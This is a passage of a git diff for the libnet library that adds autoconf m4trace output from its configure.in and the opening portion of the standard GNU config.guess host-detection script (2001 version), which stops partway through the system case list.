+m4trace:configure.in:15: -1- AM_AUTOMAKE_VERSION([1.6.3])
+m4trace:configure.in:15: -1- AC_PROG_INSTALL
+m4trace:configure.in:15: -1- AC_SUBST([INSTALL_PROGRAM])
+m4trace:configure.in:15: -1- AC_SUBST([INSTALL_SCRIPT])
+m4trace:configure.in:15: -1- AC_SUBST([INSTALL_DATA])
+m4trace:configure.in:15: -1- AC_SUBST([PACKAGE], [libnet])
+m4trace:configure.in:15: -1- AC_SUBST([VERSION], [$LIBNET_VERSION])
+m4trace:configure.in:15: -1- AC_DEFINE_TRACE_LITERAL([PACKAGE])
+m4trace:configure.in:15: -1- AH_OUTPUT([PACKAGE], [/* Name of package */
+#undef PACKAGE])
+m4trace:configure.in:15: -1- AC_DEFINE_TRACE_LITERAL([VERSION])
+m4trace:configure.in:15: -1- AH_OUTPUT([VERSION], [/* Version number of package */
+#undef VERSION])
+m4trace:configure.in:15: -1- AC_SUBST([ACLOCAL])
+m4trace:configure.in:15: -1- AC_SUBST([AUTOCONF])
+m4trace:configure.in:15: -1- AC_SUBST([AUTOMAKE])
+m4trace:configure.in:15: -1- AC_SUBST([AUTOHEADER])
+m4trace:configure.in:15: -1- AC_SUBST([MAKEINFO])
+m4trace:configure.in:15: -1- AC_SUBST([AMTAR])
+m4trace:configure.in:15: -1- AC_SUBST([install_sh])
+m4trace:configure.in:15: -1- AC_SUBST([STRIP])
+m4trace:configure.in:15: -1- AC_SUBST([ac_ct_STRIP])
+m4trace:configure.in:15: -1- AC_SUBST([INSTALL_STRIP_PROGRAM])
+m4trace:configure.in:15: -1- AC_PROG_AWK
+m4trace:configure.in:15: -1- AC_SUBST([AWK])
+m4trace:configure.in:15: -1- AC_PROG_MAKE_SET
+m4trace:configure.in:15: -1- AC_SUBST([SET_MAKE])
+m4trace:configure.in:16: -1- AC_CONFIG_HEADERS([include/config.h], [# update the timestamp
+echo 'timestamp for include/config.h' >"_AM_STAMP([include/config.h])"
+], [])
+m4trace:configure.in:17: -1- AM_MAINTAINER_MODE
+m4trace:configure.in:17: -1- AM_CONDITIONAL([MAINTAINER_MODE], [test $USE_MAINTAINER_MODE = yes])
+m4trace:configure.in:17: -1- AC_SUBST([MAINTAINER_MODE_TRUE])
+m4trace:configure.in:17: -1- AC_SUBST([MAINTAINER_MODE_FALSE])
+m4trace:configure.in:17: -1- AC_SUBST([MAINT])
+m4trace:configure.in:22: -1- AC_PROG_CC
+m4trace:configure.in:22: -1- AC_SUBST([CC])
+m4trace:configure.in:22: -1- AC_SUBST([CFLAGS])
+m4trace:configure.in:22: -1- AC_SUBST([LDFLAGS])
+m4trace:configure.in:22: -1- AC_SUBST([CPPFLAGS])
+m4trace:configure.in:22: -1- AC_SUBST([CC])
+m4trace:configure.in:22: -1- AC_SUBST([ac_ct_CC])
+m4trace:configure.in:22: -1- AC_SUBST([CC])
+m4trace:configure.in:22: -1- AC_SUBST([ac_ct_CC])
+m4trace:configure.in:22: -1- AC_SUBST([CC])
+m4trace:configure.in:22: -1- AC_SUBST([CC])
+m4trace:configure.in:22: -1- AC_SUBST([ac_ct_CC])
+m4trace:configure.in:22: -1- AC_SUBST([EXEEXT], [$ac_cv_exeext])
+m4trace:configure.in:22: -1- AC_SUBST([OBJEXT], [$ac_cv_objext])
+m4trace:configure.in:22: -1- AC_SUBST([DEPDIR])
+m4trace:configure.in:22: -1- AC_SUBST([am__include])
+m4trace:configure.in:22: -1- AC_SUBST([am__quote])
+m4trace:configure.in:22: -1- AM_CONDITIONAL([AMDEP], [test "x$enable_dependency_tracking" != xno])
+m4trace:configure.in:22: -1- AC_SUBST([AMDEP_TRUE])
+m4trace:configure.in:22: -1- AC_SUBST([AMDEP_FALSE])
+m4trace:configure.in:22: -1- AC_SUBST([AMDEPBACKSLASH])
+m4trace:configure.in:22: -1- AC_SUBST([CCDEPMODE], [depmode=$am_cv_CC_dependencies_compiler_type])
+m4trace:configure.in:23: -1- AC_PROG_INSTALL
+m4trace:configure.in:23: -1- AC_SUBST([INSTALL_PROGRAM])
+m4trace:configure.in:23: -1- AC_SUBST([INSTALL_SCRIPT])
+m4trace:configure.in:23: -1- AC_SUBST([INSTALL_DATA])
+m4trace:configure.in:24: -1- AC_PROG_RANLIB
+m4trace:configure.in:24: -1- AC_SUBST([RANLIB])
+m4trace:configure.in:24: -1- AC_SUBST([ac_ct_RANLIB])
+m4trace:configure.in:26: -1- AC_CHECK_HEADERS([sys/sockio.h])
+m4trace:configure.in:26: -1- AH_OUTPUT([HAVE_SYS_SOCKIO_H], [/* Define to 1 if you have the <sys/sockio.h> header file. */
+#undef HAVE_SYS_SOCKIO_H])
+m4trace:configure.in:26: -1- AC_HEADER_STDC
+m4trace:configure.in:26: -1- AC_PROG_CPP
+m4trace:configure.in:26: -1- AC_SUBST([CPP])
+m4trace:configure.in:26: -1- AC_SUBST([CPPFLAGS])
+m4trace:configure.in:26: -1- AC_SUBST([CPP])
+m4trace:configure.in:26: -1- AC_SUBST([EGREP])
+m4trace:configure.in:26: -1- AC_DEFINE_TRACE_LITERAL([STDC_HEADERS])
+m4trace:configure.in:26: -1- AH_OUTPUT([STDC_HEADERS], [/* Define to 1 if you have the ANSI C header files. */
+#undef STDC_HEADERS])
+m4trace:configure.in:26: -1- AC_CHECK_HEADERS([sys/types.h sys/stat.h stdlib.h string.h memory.h strings.h \
+ inttypes.h stdint.h unistd.h], [], [], [$ac_includes_default])
+m4trace:configure.in:26: -1- AH_OUTPUT([HAVE_SYS_TYPES_H], [/* Define to 1 if you have the <sys/types.h> header file. */
+#undef HAVE_SYS_TYPES_H])
+m4trace:configure.in:26: -1- AH_OUTPUT([HAVE_SYS_STAT_H], [/* Define to 1 if you have the <sys/stat.h> header file. */
+#undef HAVE_SYS_STAT_H])
+m4trace:configure.in:26: -1- AH_OUTPUT([HAVE_STDLIB_H], [/* Define to 1 if you have the <stdlib.h> header file. */
+#undef HAVE_STDLIB_H])
+m4trace:configure.in:26: -1- AH_OUTPUT([HAVE_STRING_H], [/* Define to 1 if you have the <string.h> header file. */
+#undef HAVE_STRING_H])
+m4trace:configure.in:26: -1- AH_OUTPUT([HAVE_MEMORY_H], [/* Define to 1 if you have the <memory.h> header file. */
+#undef HAVE_MEMORY_H])
+m4trace:configure.in:26: -1- AH_OUTPUT([HAVE_STRINGS_H], [/* Define to 1 if you have the <strings.h> header file. */
+#undef HAVE_STRINGS_H])
+m4trace:configure.in:26: -1- AH_OUTPUT([HAVE_INTTYPES_H], [/* Define to 1 if you have the <inttypes.h> header file. */
+#undef HAVE_INTTYPES_H])
+m4trace:configure.in:26: -1- AH_OUTPUT([HAVE_STDINT_H], [/* Define to 1 if you have the <stdint.h> header file. */
+#undef HAVE_STDINT_H])
+m4trace:configure.in:26: -1- AH_OUTPUT([HAVE_UNISTD_H], [/* Define to 1 if you have the <unistd.h> header file. */
+#undef HAVE_UNISTD_H])
+m4trace:configure.in:32: -1- AC_DEFINE_TRACE_LITERAL([LIBNET_BIG_ENDIAN])
+m4trace:configure.in:32: -1- AC_DEFINE_TRACE_LITERAL([LIBNET_LIL_ENDIAN])
+m4trace:configure.in:33: -1- AC_DEFINE_TRACE_LITERAL([LBL_ALIGN])
+m4trace:configure.in:36: -1- AC_SUBST([ENDIANESS])
+m4trace:configure.in:37: -1- AC_SUBST([LIBNET_VERSION])
+m4trace:configure.in:38: -1- AC_SUBST([HAVE_PACKET_SOCKET])
+m4trace:configure.in:39: -1- AC_SUBST([ADDITIONAL_LIBS])
+m4trace:configure.in:40: -1- AC_SUBST([LIBNET_CONFIG_DEFINES])
+m4trace:configure.in:41: -1- AC_SUBST([LIBNET_CONFIG_LIBS])
+m4trace:configure.in:42: -1- AC_SUBST([LIBNET_CONFIG_CFLAGS])
+m4trace:configure.in:47: -1- AC_PROG_GCC_TRADITIONAL
+m4trace:configure.in:63: -1- AC_CHECK_FUNCS([strerror])
+m4trace:configure.in:63: -1- AH_OUTPUT([HAVE_STRERROR], [/* Define to 1 if you have the `strerror\' function. */
+#undef HAVE_STRERROR])
+m4trace:configure.in:71: -1- AC_LIBSOURCE([libnet_link_bpf.c])
+m4trace:configure.in:71: -1- AC_SUBST([LIB@&t@OBJS])
+m4trace:configure.in:74: -1- AC_LIBSOURCE([libnet_link_pf.c])
+m4trace:configure.in:74: -1- AC_SUBST([LIB@&t@OBJS])
+m4trace:configure.in:77: -1- AC_LIBSOURCE([libnet_link_snit.c])
+m4trace:configure.in:77: -1- AC_SUBST([LIB@&t@OBJS])
+m4trace:configure.in:80: -1- AC_LIBSOURCE([libnet_link_nit.c])
+m4trace:configure.in:80: -1- AC_SUBST([LIB@&t@OBJS])
+m4trace:configure.in:83: -1- AC_LIBSOURCE([libnet_link_snoop.c])
+m4trace:configure.in:83: -1- AC_SUBST([LIB@&t@OBJS])
+m4trace:configure.in:86: -1- AC_LIBSOURCE([libnet_link_dlpi.c])
+m4trace:configure.in:86: -1- AC_SUBST([LIB@&t@OBJS])
+m4trace:configure.in:88: -1- AC_DEFINE_TRACE_LITERAL([HAVE_DLPI])
+m4trace:configure.in:90: -1- AC_LIBSOURCE([libnet_link_linux.c])
+m4trace:configure.in:90: -1- AC_SUBST([LIB@&t@OBJS])
+m4trace:configure.in:92: -1- AC_DEFINE_TRACE_LITERAL([HAVE_PACKET_SOCKET])
+m4trace:configure.in:93: -1- AC_DEFINE_TRACE_LITERAL([HAVE_LINUX_PROCFS])
+m4trace:configure.in:93: -1- AH_OUTPUT([HAVE_LINUX_PROCFS], [/* Define if you have the Linux /proc filesystem. */
+#undef HAVE_LINUX_PROCFS])
+m4trace:configure.in:95: -1- AC_LIBSOURCE([libnet_link_bpf.c])
+m4trace:configure.in:95: -1- AC_SUBST([LIB@&t@OBJS])
+m4trace:configure.in:98: -1- AC_LIBSOURCE([libnet_link_snit.c])
+m4trace:configure.in:98: -1- AC_SUBST([LIB@&t@OBJS])
+m4trace:configure.in:101: -1- AC_LIBSOURCE([libnet_link_win32.c])
+m4trace:configure.in:101: -1- AC_SUBST([LIB@&t@OBJS])
+m4trace:configure.in:104: -1- AC_LIBSOURCE([libnet_link_none.c])
+m4trace:configure.in:104: -1- AC_SUBST([LIB@&t@OBJS])
+m4trace:configure.in:125: -1- AC_DEFINE_TRACE_LITERAL([_BSD_SOURCE])
+m4trace:configure.in:126: -1- AC_DEFINE_TRACE_LITERAL([__BSD_SOURCE])
+m4trace:configure.in:127: -1- AC_DEFINE_TRACE_LITERAL([__FAVOR_BSD])
+m4trace:configure.in:130: -1- AC_CHECK_HEADERS([net/ethernet.h], [\
+ LIBNET_CONFIG_DEFINES="$LIBNET_CONFIG_DEFINES -DHAVE_NET_ETHERNET_H"])
+m4trace:configure.in:130: -1- AH_OUTPUT([HAVE_NET_ETHERNET_H], [/* Define to 1 if you have the <net/ethernet.h> header file. */
+#undef HAVE_NET_ETHERNET_H])
+m4trace:configure.in:134: -1- AC_DEFINE_TRACE_LITERAL([LIBNET_BSDISH_OS])
+m4trace:configure.in:135: -1- AC_DEFINE_TRACE_LITERAL([LIBNET_BSD_BYTE_SWAP])
+m4trace:configure.in:136: -1- AC_DEFINE_TRACE_LITERAL([HAVE_SOCKADDR_SA_LEN])
+m4trace:configure.in:141: -1- AC_DEFINE_TRACE_LITERAL([LIBNET_BSDISH_OS])
+m4trace:configure.in:142: -1- AC_DEFINE_TRACE_LITERAL([LIBNET_BSD_BYTE_SWAP])
+m4trace:configure.in:147: -1- AC_DEFINE_TRACE_LITERAL([LIBNET_BSDISH_OS])
+m4trace:configure.in:148: -1- AC_DEFINE_TRACE_LITERAL([HAVE_SOCKADDR_SA_LEN])
+m4trace:configure.in:153: -1- AC_DEFINE_TRACE_LITERAL([LIBNET_BSDISH_OS])
+m4trace:configure.in:154: -1- AC_DEFINE_TRACE_LITERAL([LIBNET_BSD_BYTE_SWAP])
+m4trace:configure.in:159: -1- AC_DEFINE_TRACE_LITERAL([HAVE_SOCKADDR_SA_LEN])
+m4trace:configure.in:164: -1- AC_DEFINE_TRACE_LITERAL([HAVE_SOLARIS])
+m4trace:configure.in:165: -1- AC_CHECK_HEADERS([sys/bufmod.h sys/dlpi_ext.h])
+m4trace:configure.in:165: -1- AH_OUTPUT([HAVE_SYS_BUFMOD_H], [/* Define to 1 if you have the <sys/bufmod.h> header file. */
+#undef HAVE_SYS_BUFMOD_H])
+m4trace:configure.in:165: -1- AH_OUTPUT([HAVE_SYS_DLPI_EXT_H], [/* Define to 1 if you have the <sys/dlpi_ext.h> header file. */
+#undef HAVE_SYS_DLPI_EXT_H])
+m4trace:configure.in:169: -1- AC_DEFINE_TRACE_LITERAL([HAVE_DEV_DLPI])
+m4trace:configure.in:176: -1- AC_DEFINE_TRACE_LITERAL([DLPI_DEV_PREFIX])
+m4trace:configure.in:181: -1- AC_CHECK_LIB([socket], [socket], [], [{ { echo "$as_me:$LINENO: error: libsocket not found." >&5
+echo "$as_me: error: libsocket not found." >&2;}
+ { (exit 1); exit 1; }; }])
+m4trace:configure.in:181: -1- AH_OUTPUT([HAVE_LIBSOCKET], [/* Define to 1 if you have the `socket\' library (-lsocket). */
+#undef HAVE_LIBSOCKET])
+m4trace:configure.in:181: -1- AC_DEFINE_TRACE_LITERAL([HAVE_LIBSOCKET])
+m4trace:configure.in:182: -1- AC_CHECK_LIB([nsl], [gethostbyname], [], [{ { echo "$as_me:$LINENO: error: libnsl not found." >&5
+echo "$as_me: error: libnsl not found." >&2;}
+ { (exit 1); exit 1; }; }])
+m4trace:configure.in:182: -1- AH_OUTPUT([HAVE_LIBNSL], [/* Define to 1 if you have the `nsl\' library (-lnsl). */
+#undef HAVE_LIBNSL])
+m4trace:configure.in:182: -1- AC_DEFINE_TRACE_LITERAL([HAVE_LIBNSL])
+m4trace:configure.in:189: -1- AC_DEFINE_TRACE_LITERAL([STUPID_SOLARIS_CHECKSUM_BUG])
+m4trace:configure.in:192: -1- AC_DEFINE_TRACE_LITERAL([STUPID_SOLARIS_CHECKSUM_BUG])
+m4trace:configure.in:195: -1- AC_DEFINE_TRACE_LITERAL([STUPID_SOLARIS_CHECKSUM_BUG])
+m4trace:configure.in:196: -1- AC_DEFINE_TRACE_LITERAL([HAVE_SOLARIS_IPV6])
+m4trace:configure.in:199: -1- AC_DEFINE_TRACE_LITERAL([STUPID_SOLARIS_CHECKSUM_BUG])
+m4trace:configure.in:200: -1- AC_DEFINE_TRACE_LITERAL([HAVE_SOLARIS_IPV6])
+m4trace:configure.in:210: -1- AC_DEFINE_TRACE_LITERAL([HAVE_HPUX11])
+m4trace:configure.in:211: -1- AC_CHECK_HEADERS([sys/dlpi_ext.h])
+m4trace:configure.in:211: -1- AH_OUTPUT([HAVE_SYS_DLPI_EXT_H], [/* Define to 1 if you have the <sys/dlpi_ext.h> header file. */
+#undef HAVE_SYS_DLPI_EXT_H])
+m4trace:configure.in:215: -1- AC_DEFINE_TRACE_LITERAL([LIBNET_BSDISH_OS])
+m4trace:configure.in:216: -1- AC_DEFINE_TRACE_LITERAL([NO_SNPRINTF])
+m4trace:configure.in:219: -1- AC_CHECK_LIB([packet], [PacketSetMode], [], [{ { echo "$as_me:$LINENO: error: packet lib not found." >&5
+echo "$as_me: error: packet lib not found." >&2;}
+ { (exit 1); exit 1; }; }])
+m4trace:configure.in:219: -1- AH_OUTPUT([HAVE_LIBPACKET], [/* Define to 1 if you have the `packet\' library (-lpacket). */
+#undef HAVE_LIBPACKET])
+m4trace:configure.in:219: -1- AC_DEFINE_TRACE_LITERAL([HAVE_LIBPACKET])
+m4trace:configure.in:220: -1- AC_CHECK_LIB([wpcap], [pcap_setmode], [], [{ { echo "$as_me:$LINENO: error: pcap lib not found." >&5
+echo "$as_me: error: pcap lib not found." >&2;}
+ { (exit 1); exit 1; }; }])
+m4trace:configure.in:220: -1- AH_OUTPUT([HAVE_LIBWPCAP], [/* Define to 1 if you have the `wpcap\' library (-lwpcap). */
+#undef HAVE_LIBWPCAP])
+m4trace:configure.in:220: -1- AC_DEFINE_TRACE_LITERAL([HAVE_LIBWPCAP])
+m4trace:configure.in:234: -1- AC_CONFIG_FILES([Makefile src/Makefile include/Makefile \
+ include/libnet/Makefile sample/Makefile version.h include/libnet.h \
+ libnet-config])
+m4trace:configure.in:234: -1- AC_SUBST([LIB@&t@OBJS], [$ac_libobjs])
+m4trace:configure.in:234: -1- AC_SUBST([LTLIBOBJS], [$ac_ltlibobjs])
diff --git a/libnet/config.guess b/libnet/config.guess
new file mode 100644
index 0000000..cd430f6
--- /dev/null
+++ b/libnet/config.guess
@@ -0,0 +1,1314 @@
+#! /bin/sh
+# Attempt to guess a canonical system name.
+# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001
+# Free Software Foundation, Inc.
+
+timestamp='2001-08-21'
+
+# This file is free software; you can redistribute it and/or modify it
+# under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+#
+# As a special exception to the GNU General Public License, if you
+# distribute this file as part of a program that contains a
+# configuration script generated by Autoconf, you may include it under
+# the same distribution terms that you use for the rest of that program.
+
+# Written by Per Bothner <bothner@cygnus.com>.
+# Please send patches to <config-patches@gnu.org>.
+#
+# This script attempts to guess a canonical system name similar to
+# config.sub. If it succeeds, it prints the system name on stdout, and
+# exits with 0. Otherwise, it exits with 1.
+#
+# The plan is that this can be called by configure scripts if you
+# don't specify an explicit build system type.
+
+me=`echo "$0" | sed -e 's,.*/,,'`
+
+usage="\
+Usage: $0 [OPTION]
+
+Output the configuration name of the system \`$me' is run on.
+
+Operation modes:
+ -h, --help print this help, then exit
+ -t, --time-stamp print date of last modification, then exit
+ -v, --version print version number, then exit
+
+Report bugs and patches to <config-patches@gnu.org>."
+
+version="\
+GNU config.guess ($timestamp)
+
+Originally written by Per Bothner.
+Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001
+Free Software Foundation, Inc.
+
+This is free software; see the source for copying conditions. There is NO
+warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE."
+
+help="
+Try \`$me --help' for more information."
+
+# Parse command line
+while test $# -gt 0 ; do
+ case $1 in
+ --time-stamp | --time* | -t )
+ echo "$timestamp" ; exit 0 ;;
+ --version | -v )
+ echo "$version" ; exit 0 ;;
+ --help | --h* | -h )
+ echo "$usage"; exit 0 ;;
+ -- ) # Stop option processing
+ shift; break ;;
+ - ) # Use stdin as input.
+ break ;;
+ -* )
+ echo "$me: invalid option $1$help" >&2
+ exit 1 ;;
+ * )
+ break ;;
+ esac
+done
+
+if test $# != 0; then
+ echo "$me: too many arguments$help" >&2
+ exit 1
+fi
+
+
+dummy=dummy-$$
+trap 'rm -f $dummy.c $dummy.o $dummy.rel $dummy; exit 1' 1 2 15
+
+# CC_FOR_BUILD -- compiler used by this script.
+# Historically, `CC_FOR_BUILD' used to be named `HOST_CC'. We still
+# use `HOST_CC' if defined, but it is deprecated.
+
+set_cc_for_build='case $CC_FOR_BUILD,$HOST_CC,$CC in
+ ,,) echo "int dummy(){}" > $dummy.c ;
+ for c in cc gcc c89 ; do
+ ($c $dummy.c -c -o $dummy.o) >/dev/null 2>&1 ;
+ if test $? = 0 ; then
+ CC_FOR_BUILD="$c"; break ;
+ fi ;
+ done ;
+ rm -f $dummy.c $dummy.o $dummy.rel ;
+ if test x"$CC_FOR_BUILD" = x ; then
+ CC_FOR_BUILD=no_compiler_found ;
+ fi
+ ;;
+ ,,*) CC_FOR_BUILD=$CC ;;
+ ,*,*) CC_FOR_BUILD=$HOST_CC ;;
+esac'
+
+# This is needed to find uname on a Pyramid OSx when run in the BSD universe.
+# (ghazi@noc.rutgers.edu 1994-08-24)
+if (test -f /.attbin/uname) >/dev/null 2>&1 ; then
+ PATH=$PATH:/.attbin ; export PATH
+fi
+
+UNAME_MACHINE=`(uname -m) 2>/dev/null` || UNAME_MACHINE=unknown
+UNAME_RELEASE=`(uname -r) 2>/dev/null` || UNAME_RELEASE=unknown
+UNAME_SYSTEM=`(uname -s) 2>/dev/null` || UNAME_SYSTEM=unknown
+UNAME_VERSION=`(uname -v) 2>/dev/null` || UNAME_VERSION=unknown
+
+# Note: order is significant - the case branches are not exclusive.
+
+case "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" in
+ *:NetBSD:*:*)
+ # Netbsd (nbsd) targets should (where applicable) match one or
+ # more of the tupples: *-*-netbsdelf*, *-*-netbsdaout*,
+ # *-*-netbsdecoff* and *-*-netbsd*. For targets that recently
+ # switched to ELF, *-*-netbsd* would select the old
+ # object file format. This provides both forward
+ # compatibility and a consistent mechanism for selecting the
+ # object file format.
+ # Determine the machine/vendor (is the vendor relevant).
+ case "${UNAME_MACHINE}" in
+ amiga) machine=m68k-unknown ;;
+ arm32) machine=arm-unknown ;;
+ atari*) machine=m68k-atari ;;
+ sun3*) machine=m68k-sun ;;
+ mac68k) machine=m68k-apple ;;
+ macppc) machine=powerpc-apple ;;
+ hp3[0-9][05]) machine=m68k-hp ;;
+ ibmrt|romp-ibm) machine=romp-ibm ;;
+ *) machine=${UNAME_MACHINE}-unknown ;;
+ esac
+ # The Operating System including object format, if it has switched
+ # to ELF recently, or will in the future.
+ case "${UNAME_MACHINE}" in
+ i386|sparc|amiga|arm*|hp300|mvme68k|vax|atari|luna68k|mac68k|news68k|next68k|pc532|sun3*|x68k)
+ eval $set_cc_for_build
+ if echo __ELF__ | $CC_FOR_BUILD -E - 2>/dev/null \
+ | grep __ELF__ >/dev/null
+ then
+ # Once all utilities can be ECOFF (netbsdecoff) or a.out (netbsdaout).
+ # Return netbsd for either. FIX?
+ os=netbsd
+ else
+ os=netbsdelf
+ fi
+ ;;
+ *)
+ os=netbsd
+ ;;
+ esac
+ # The OS release
+ release=`echo ${UNAME_RELEASE}|sed -e 's/[-_].*/\./'`
+ # Since CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM:
+ # contains redundant information, the shorter form:
+ # CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM is used.
+ echo "${machine}-${os}${release}"
+ exit 0 ;;
+ alpha:OSF1:*:*)
+ if test $UNAME_RELEASE = "V4.0"; then
+ UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $3}'`
+ fi
+ # A Vn.n version is a released version.
+ # A Tn.n version is a released field test version.
+ # A Xn.n version is an unreleased experimental baselevel.
+ # 1.2 uses "1.2" for uname -r.
+ cat <<EOF >$dummy.s
+ .data
+\$Lformat:
+ .byte 37,100,45,37,120,10,0 # "%d-%x\n"
+
+ .text
+ .globl main
+ .align 4
+ .ent main
+main:
+ .frame \$30,16,\$26,0
+ ldgp \$29,0(\$27)
+ .prologue 1
+ .long 0x47e03d80 # implver \$0
+ lda \$2,-1
+ .long 0x47e20c21 # amask \$2,\$1
+ lda \$16,\$Lformat
+ mov \$0,\$17
+ not \$1,\$18
+ jsr \$26,printf
+ ldgp \$29,0(\$26)
+ mov 0,\$16
+ jsr \$26,exit
+ .end main
+EOF
+ eval $set_cc_for_build
+ $CC_FOR_BUILD $dummy.s -o $dummy 2>/dev/null
+ if test "$?" = 0 ; then
+ case `./$dummy` in
+ 0-0)
+ UNAME_MACHINE="alpha"
+ ;;
+ 1-0)
+ UNAME_MACHINE="alphaev5"
+ ;;
+ 1-1)
+ UNAME_MACHINE="alphaev56"
+ ;;
+ 1-101)
+ UNAME_MACHINE="alphapca56"
+ ;;
+ 2-303)
+ UNAME_MACHINE="alphaev6"
+ ;;
+ 2-307)
+ UNAME_MACHINE="alphaev67"
+ ;;
+ 2-1307)
+ UNAME_MACHINE="alphaev68"
+ ;;
+ esac
+ fi
+ rm -f $dummy.s $dummy
+ echo ${UNAME_MACHINE}-dec-osf`echo ${UNAME_RELEASE} | sed -e 's/^[VTX]//' | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'`
+ exit 0 ;;
+ Alpha\ *:Windows_NT*:*)
+ # How do we know it's Interix rather than the generic POSIX subsystem?
+ # Should we change UNAME_MACHINE based on the output of uname instead
+ # of the specific Alpha model?
+ echo alpha-pc-interix
+ exit 0 ;;
+ 21064:Windows_NT:50:3)
+ echo alpha-dec-winnt3.5
+ exit 0 ;;
+ Amiga*:UNIX_System_V:4.0:*)
+ echo m68k-unknown-sysv4
+ exit 0;;
+ amiga:OpenBSD:*:*)
+ echo m68k-unknown-openbsd${UNAME_RELEASE}
+ exit 0 ;;
+ *:[Aa]miga[Oo][Ss]:*:*)
+ echo ${UNAME_MACHINE}-unknown-amigaos
+ exit 0 ;;
+ arc64:OpenBSD:*:*)
+ echo mips64el-unknown-openbsd${UNAME_RELEASE}
+ exit 0 ;;
+ arc:OpenBSD:*:*)
+ echo mipsel-unknown-openbsd${UNAME_RELEASE}
+ exit 0 ;;
+ hkmips:OpenBSD:*:*)
+ echo mips-unknown-openbsd${UNAME_RELEASE}
+ exit 0 ;;
+ pmax:OpenBSD:*:*)
+ echo mipsel-unknown-openbsd${UNAME_RELEASE}
+ exit 0 ;;
+ sgi:OpenBSD:*:*)
+ echo mips-unknown-openbsd${UNAME_RELEASE}
+ exit 0 ;;
+ wgrisc:OpenBSD:*:*)
+ echo mipsel-unknown-openbsd${UNAME_RELEASE}
+ exit 0 ;;
+ *:OS/390:*:*)
+ echo i370-ibm-openedition
+ exit 0 ;;
+ arm:RISC*:1.[012]*:*|arm:riscix:1.[012]*:*)
+ echo arm-acorn-riscix${UNAME_RELEASE}
+ exit 0;;
+ SR2?01:HI-UX/MPP:*:* | SR8000:HI-UX/MPP:*:*)
+ echo hppa1.1-hitachi-hiuxmpp
+ exit 0;;
+ Pyramid*:OSx*:*:* | MIS*:OSx*:*:* | MIS*:SMP_DC-OSx*:*:*)
+ # akee@wpdis03.wpafb.af.mil (Earle F. Ake) contributed MIS and NILE.
+ if test "`(/bin/universe) 2>/dev/null`" = att ; then
+ echo pyramid-pyramid-sysv3
+ else
+ echo pyramid-pyramid-bsd
+ fi
+ exit 0 ;;
+ NILE*:*:*:dcosx)
+ echo pyramid-pyramid-svr4
+ exit 0 ;;
+ sun4H:SunOS:5.*:*)
+ echo sparc-hal-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
+ exit 0 ;;
+ sun4*:SunOS:5.*:* | tadpole*:SunOS:5.*:*)
+ echo sparc-sun-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
+ exit 0 ;;
+ i86pc:SunOS:5.*:*)
+ echo i386-pc-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
+ exit 0 ;;
+ sun4*:SunOS:6*:*)
+ # According to config.sub, this is the proper way to canonicalize
+ # SunOS6. Hard to guess exactly what SunOS6 will be like, but
+ # it's likely to be more like Solaris than SunOS4.
+ echo sparc-sun-solaris3`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
+ exit 0 ;;
+ sun4*:SunOS:*:*)
+ case "`/usr/bin/arch -k`" in
+ Series*|S4*)
+ UNAME_RELEASE=`uname -v`
+ ;;
+ esac
+ # Japanese Language versions have a version number like `4.1.3-JL'.
+ echo sparc-sun-sunos`echo ${UNAME_RELEASE}|sed -e 's/-/_/'`
+ exit 0 ;;
+ sun3*:SunOS:*:*)
+ echo m68k-sun-sunos${UNAME_RELEASE}
+ exit 0 ;;
+ sun*:*:4.2BSD:*)
+ UNAME_RELEASE=`(head -1 /etc/motd | awk '{print substr($5,1,3)}') 2>/dev/null`
+ test "x${UNAME_RELEASE}" = "x" && UNAME_RELEASE=3
+ case "`/bin/arch`" in
+ sun3)
+ echo m68k-sun-sunos${UNAME_RELEASE}
+ ;;
+ sun4)
+ echo sparc-sun-sunos${UNAME_RELEASE}
+ ;;
+ esac
+ exit 0 ;;
+ aushp:SunOS:*:*)
+ echo sparc-auspex-sunos${UNAME_RELEASE}
+ exit 0 ;;
+ sparc*:NetBSD:*)
+ echo `uname -p`-unknown-netbsd${UNAME_RELEASE}
+ exit 0 ;;
+ atari*:OpenBSD:*:*)
+ echo m68k-unknown-openbsd${UNAME_RELEASE}
+ exit 0 ;;
+ # The situation for MiNT is a little confusing. The machine name
+ # can be virtually everything (everything which is not
+ # "atarist" or "atariste" at least should have a processor
+ # > m68000). The system name ranges from "MiNT" over "FreeMiNT"
+ # to the lowercase version "mint" (or "freemint"). Finally
+ # the system name "TOS" denotes a system which is actually not
+ # MiNT. But MiNT is downward compatible to TOS, so this should
+ # be no problem.
+ atarist[e]:*MiNT:*:* | atarist[e]:*mint:*:* | atarist[e]:*TOS:*:*)
+ echo m68k-atari-mint${UNAME_RELEASE}
+ exit 0 ;;
+ atari*:*MiNT:*:* | atari*:*mint:*:* | atarist[e]:*TOS:*:*)
+ echo m68k-atari-mint${UNAME_RELEASE}
+ exit 0 ;;
+ *falcon*:*MiNT:*:* | *falcon*:*mint:*:* | *falcon*:*TOS:*:*)
+ echo m68k-atari-mint${UNAME_RELEASE}
+ exit 0 ;;
+ milan*:*MiNT:*:* | milan*:*mint:*:* | *milan*:*TOS:*:*)
+ echo m68k-milan-mint${UNAME_RELEASE}
+ exit 0 ;;
+ hades*:*MiNT:*:* | hades*:*mint:*:* | *hades*:*TOS:*:*)
+ echo m68k-hades-mint${UNAME_RELEASE}
+ exit 0 ;;
